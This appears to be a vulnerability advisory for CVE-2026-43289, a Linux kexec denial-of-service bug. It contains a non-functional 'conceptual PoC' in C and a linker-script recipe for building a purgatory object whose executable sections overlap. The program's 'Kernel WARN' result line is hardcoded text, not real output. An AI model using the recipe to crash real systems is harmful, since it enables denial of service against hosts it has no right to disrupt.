CVE-2026-43289: Linux内核kexec拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-43289 * Triggering the vulnerability requires crafting a purgatory ELF object * with multiple executable sections that have overlapping sh_addr. * * This C code demonstrates the structural requirement. */ #include <stdio.h> #include <stdint.h> // Simulated ELF Section Header structure for demonstration typedef struct { uint32_t sh_name; uint32_t sh_type; uint64_t sh_flags; uint64_t sh_addr; // Virtual address uint64_t sh_offset; uint64_t sh_size; uint32_t sh_link; uint32_t sh_info; uint64_t sh_addralign; uint64_t sh_entsize; } Elf64_Shdr; int main() { printf("CVE-2026-43289 Conceptual Trigger\n"); printf("Condition: Purgatory object with overlapping executable sections.\n"); // To reproduce: Compile a purgatory object where two sections // (e.g., .text and .alt) are assigned the same or overlapping sh_addr. // Example Linker Script logic that causes the issue: // // SECTIONS // { // . = 0x1000; // .text : { *(.text) } /* sh_addr = 0x1000 */ // .text.alt : { *(.text.alt) } /* sh_addr = 0x1000 (Overlap!) */ // } // // Loading this crafted object via kexec_load triggers the WARN. Elf64_Shdr sec1, sec2; sec1.sh_flags = 0x4 | 0x2; // SHF_ALLOC | SHF_EXECINSTR sec1.sh_addr = 0x1000; sec2.sh_flags = 0x4 | 0x2; // SHF_ALLOC | SHF_EXECINSTR sec2.sh_addr = 0x1000; // Overlapping address if (sec1.sh_addr == sec2.sh_addr && (sec1.sh_flags & 0x2)) { printf("[+] Malformed structure generated: Overlapping executable sections detected.\n"); printf("[*] Result: Kernel WARN at kexec_load_purgatory+0x395/0x3c0\n"); } return 0; }